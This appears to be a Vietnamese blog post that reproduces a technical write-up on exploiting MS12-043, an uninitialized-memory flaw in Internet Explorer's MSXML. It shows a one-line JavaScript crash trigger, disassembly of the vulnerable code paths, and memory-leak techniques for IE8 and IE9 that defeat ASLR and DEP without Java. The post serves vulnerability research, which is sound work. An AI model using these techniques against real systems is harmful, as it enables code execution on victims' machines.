J2TEAM Security: A must-have extension for Chrome users. Install now!

Advanced Exploitation of IE MSXML Remote Uninitialized Memory (MS12-043 / CVE-2012)

Advanced Exploitation of IE MSXML Remote Uninitialized Memory (MS12-043 / CVE-2012) | Juno_okyo's Blog
Tại sao ở đây chúng ta gọi là Advanced, bởi vì khi exploit IE8 và IE9 trên windows 7, người dùng phải cài đặt Java6 plug-in. Bởi vậy, các researcher ở Vupen đã nghiên cứu phương pháp exploit mà không cần người dùng cài đặt Java plug-in. Mọi người cùng tham khảo và thảo luận nhé!

1. Technical Analysis of the Vulnerability
This specific vulnerability can be triggered by a single JavaScript line that should be enough to crash any unpatched IE version:



new ActiveXObject("Msxml2.DOMDocument.6.0").definition ("");

The root cause lies in "DOMNode::get_definition()" in msxml6.dll. This function expects an address to store the pointer to a ppNode object as the second argument: DOMNode::get_definition(DOMNode *this, IXMLDOMNode **ppNode).

Under certain circumstances, it is possible to skip the initialization of ppNode. Such case typically occurs when "Node::getDefinition()" returns 0 in the next lines:

1
2
3
4
5
6
7
8
9
10
11
.text:7277016E mov edi, [ebp+0Ch]                             // edi points to ppNode
.text:72770171 test edi, edi
.text:72770173 jnz short loc_7277018B
...
.text:7277018B loc_7277018B:
.text:7277018B and dword ptr [ebp-4], 0
.text:7277018F mov ecx, [esi+1Ch]
.text:72770192 call Node::getDefinition(void)                // this call can return 0!
.text:72770197 test eax, eax
.text:72770199 jz short loc_727701A6


However, when "Node::getDefinition()" returns 0, the execution flow reaches loc_727701A6 without setting ppNode:

1
2
3
4
.text:727701A6 loc_727701A6:
.text:727701A6 mov dword ptr [ebp-1Ch], 1
.text:727701AD jmp short loc_727701D2                     // exit function


Usually this has no consequence over the execution flow as the ppNode is previously initialized and set to NULL in other functions. The following lines thus do not trigger anything:

1
2
3
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
alert(xmlDoc.definition);                                           // display null


However the definition keyword supports the syntax used to call a method:

1
2
3
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
alert(xmlDoc.definition(""));                                      // crash


In such a case, the execution flow in "_dispatchImpl::InvokeHelper()" takes another path:

1
2
3
4
5
6
7
8
9
10
11
12
.text:727457A0 lea eax, [ebp+vtDisp]
.text:727457A3 push eax
.text:727457A4 call VariantInit(x)                              // init vtDisp
.text:727457AA push ebx
.text:727457AB lea eax, [ebp+vtDisp]
.text:727457AE push eax
.text:727457AF push 2
.text:727457B1 push ebx
.text:727457B2 push [ebp+dispid]
.text:727457B5 push [ebp+pTarget]
.text:727457B8 call dword ptr [esi+20h]                    // call DOMNode::get_definition



The vulnerability results from the fact that VariantInit does not initialize vtDisp + 8, which will later be used to store ppNode. If "DOMNode::get_definition()" exits without setting ppNode, the application assumes a valid pointer at vtDisp + 8 and will use it to call a virtual function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:727457C3 mov eax, dword ptr [ebp+vtDisp+8] // use vtDisp + 8
.text:727457C6 mov esi, eax
.text:727457C8 cmp eax, ebx
.text:727457CA jz short loc_727457F5
.text:727457CC push [ebp+puArgErr]
.text:727457CF mov ecx, [eax]                               // dereference a vTable
.text:727457D1 push [ebp+pExcepInfo]
.text:727457D4 push [ebp+pVarResult]
.text:727457D7 push edi
.text:727457D8 push 3
.text:727457DA push [ebp+lcid]
.text:727457DD push offset _GUID_NULL
.text:727457E2 push ebx
.text:727457E3 push eax
.text:727457E4 call dword ptr [ecx+18h]                 //call a virtual function


Some techniques have been publicly discussed on how to control the vulnerable variable and redirect the execution flow. For example, creating an Img element and assigning a long url to img.src, then calling xmlDoc.definition(img.namedProp) will result in vtDisp + 8 being controlled:

1
2
3
4
5
6
.text:727457C3 mov eax, dword ptr [ebp+vtDisp +8] // eax can be controlled
...
.text:727457CF mov ecx, [eax]                                // ecx can be controlled
...
.text:727457E4 call dword ptr [ecx+18h]                  // call an arbitrary address

Such technique however requires knowing the location of at least one gadget. The public exploits for example have used a statically loaded Java library to achieve code execution.

However such vulnerabilities are so amazing that they can also be abused to leak memory and execute arbitrary code without using a statically loaded library such as JRE6.


2. Advanced Exploitation With ASLR/DEP Bypass

We found two distinct methods to exploit this vulnerability on IE8 under Windows 7, and IE9 under Windows 7 without using any third-party plug-in.

Leaking on IE8 / Windows7 or how to collect your pointers?

Observe the piece of code that causes the crash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:727457CC push [ebp+puArgErr]
.text:727457CF mov ecx, [eax]                               // dereference a vTable
.text:727457D1 push [ebp+pExcepInfo]
.text:727457D4 push [ebp+pVarResult]
.text:727457D7 push edi
.text:727457D8 push 3
.text:727457DA push [ebp+lcid]
.text:727457DD push offset _GUID_NULL
.text:727457E2 push ebx
.text:727457E3 push eax
.text:727457E4 call dword ptr [ecx+18h]                 // call a virtual function
.text:727457E7 mov [ebp+hr], eax
.text:727457EA mov eax, [esi]
.text:727457EC push esi
.text:727457ED call dword ptr [eax+8]                   // call a virtual function

If the uninitialized variable can be made to point to a valid object, it should be possible to safely hit the functions at offset +18h and +8 in its vTable. While the first one can be anything, the second is likely "Release()" and will probably decrement the reference counter and free the object when refcount = 1. At that point, a carefully chosen object can be allocated to confuse IE.

The main idea to exploit this vulnerability consists thus in freeing and replacing an interesting object that can later be abused to read an arbitrary string in memory. Yes, bugs like that should not be killed!

The vulnerable variable can be assigned according to the way xmlDoc.definition is called. There are many ways to put a particular pointer in the vulnerable variable. We can use for example introspection on an object and call xmlDoc.definition on each of its attributes to list the available objects. Consider the following example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>
function f() {
   var count = 0
   for (var v in obj)
       count++
   alert(count)
   var o = obj.cloneNode()
   div.appendChild(o)
   count = 0
   for (var v in obj)
       count++
   alert(count)
 }
</script>
<div id="div">
<object id="obj" style="display:none"></object>
</div>

These lines consist first in adding an Object element named obj under a Div element. Function f enumerates then the attributes of that element, clones the element, and adds the clone to the Div's children. It enumerates then a second time the attributes of obj. While the first count equals 176, the second one is unexpectedly set to 3. This is because two elements exist with the same ID. In such case, IE creates a new collection named obj, and adds the two Object elements to that collection. The obj collection has then these three attributes:

- length
- obj
- obj

During the last introspection, IE calls "CCollectionCache::GetMemberName()" to get the name/ID of the collection members. In this part, the CObjectElement vTable is never used to read the object name. The application rather uses the CAttrArray object at offset +0Ch in the CObjectElement to find the name attribute (see CElement::GetIdentifier for more information):

"CCollectionCache::GetMemberName()":
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.text:74FB33F0 lea eax, [ebp+var_34]
.text:74FB33F3 push eax
.text:74FB33F4 mov eax, [ebp+arg_4]
.text:74FB33F7 push edi
.text:74FB33F8 mov edi, ebx
.text:74FB33FA call CCollectionCache::GetIntoAry()    // return a pointer to a CObjectElement to var_34
.text:74FB33FF mov eax, [ebp+var_34]
.text:74FB3402 test eax, eax
.text:74FB3404 jz short loc_74FB3424
.text:74FB3406 call CElement::GetIdentifier(void)       // return a pointer to CObjectElement.id to eax
.text:74FB340B test eax, eax
.text:74FB340D jz short loc_74FB3424                       // null string?
.text:74FB340F mov ecx, eax
.text:74FB3411 lea esi, [ecx+2]
.text:74FB3414
.text:74FB3414 loc_74FB3414:
.text:74FB3414 mov dx, [ecx]
.text:74FB3417 inc ecx
.text:74FB3418 inc ecx
.text:74FB3419 test dx, dx
.text:74FB341C jnz short loc_74FB3414
.text:74FB341E sub ecx, esi
.text:74FB3420 sar ecx, 1
.text:74FB3422 jnz short loc_74FB3446                     // get the length of CObjectElement.id
...
.text:74FB3446 loc_74FB3446:
.text:74FB3446 mov esi, [ebp+var_3C]
.text:74FB3449 call EdUtil::FormsAllocStringW()        // copy the string

The idea consists thus in replacing the CObjectElement by a string that will be dereferenced to point to a fake attribute array in a heap spray. If this array associates the ID attribute to 0x7FFE0300 on 32bit systems, it becomes possible to read the system call pointer and deduce NTDLL's base address. On 64bit systems, another value is used. The ROP is then straightforward, leading to arbitrary code execution and ASLR/DEP bypass without the need of Java.

The IE9 / Windows 7 Case. Give me your color, I'll give you the address!

The previous method does not work with IE9 on Windows 7. As we can see in "CElement::GetIdentifier", the function now uses the vTable before accessing the attributes. Taking this way results then in crashing before leaking:

1
2
3
4
5
6
7
8
9
.text:637CFB87 test dword ptr [edi+28h], 1C000h
.text:637CFB8E jnz loc_6382B61E                            // return 0 if not taken
...
.text:6382B61E loc_6382B61E:
.text:6382B61E mov eax, [edi]
.text:6382B620 mov edx, [eax+17Ch]
.text:6382B626 mov ecx, edi
.text:6382B628 call edx                                          // crash

But there is still no need to despair and use JRE6! Instead, look at "CDocument::get_bgColor()":

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.text:63B6753D loc_63B6753D:
 .text:63B6753D mov ecx, [ebp+arg_0]
 .text:63B67540 call CDocument::Markup(void)
 .text:63B67545 lea esi, [esp+18h+var_10]
 .text:63B67549 mov ecx, eax
 .text:63B6754B call CMarkup::GetBodyElement()     // return a pointer to a CBodyElement
 .text:63B67550 test eax, eax
 .text:63B67552 js loc_63B675E3
 ...
 .text:63B6756D loc_63B6756D:
 .text:63B6756D mov eax, [esp+18h+var_10]
 .text:63B67571 mov ecx, [eax+1Ch]
 .text:63B67574 call CTreeNode::GetFancyFormat() // return a color structure from a CTreeNode
 .text:63B67579 mov ecx, [eax+14h]
 .text:63B6757C mov eax, [eax+18h]
  
As we can see, "CTreeNode::GetFancyFormat()" does not need any vTable:
  
 .text:63992957 mov esi, ecx
 .text:63992959 movzx eax, word ptr [esi+40h]      // esi is a CTreeNode
 .text:6399295D test ax, ax
 .text:63992960 js loc_63842B1E
 .text:63992966 mov ecx, [esi+50h]
 .text:63992969 mov edx, [ecx+80h]
 .text:6399296F mov ecx, [edx+2Ch]
 .text:63992972 cwde
 .text:63992973 lea eax, [eax+eax*2]
 .text:63992976 mov eax, [ecx+eax*4]                  // return this pointer

The resulting color will next be returned to JavaScript as a string:

1
2
3
4
5
6
7
8
9
.text:63B675CA push 8
.text:63B675CC pop eax
.text:63B675CD push 0
.text:63B675CF mov [edi], ax                         // edi points to a VT_String object
.text:63B675D2 push 7                                   // return the result under the form #%02x%02x%02X (#RGB)
.text:63B675D4 add edi, eax
.text:63B675D6 lea ecx, [esp+20h+var_10]
.text:63B675DA call CColorValue::FormatBSTR()

To exploit this function, we first free the Body element, allocate a string there, and call document.bgColor. Since a color is defined as an RGB triplet, only 3 bytes can be leaked with this method. The fourth byte is a flag used to indicate how to parse the color. When set to 0, the application assumes that the previous 3 bytes form the RGB triplet. This is enough to get the NTDLL's pointers! On 32bit systems, we leak the dword at 0x7FFE02F1 + 0x14. On 64bit systems, another dword is leaked:
Name:  leakie9.png
Views: 64
Size:  2.6 KB
In this case, the returned color is #70F077 which is a light green. We can then use the pointer in a ROP and bypass both ASLR and DEP without using any third-party plug-in except default IE modules!
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!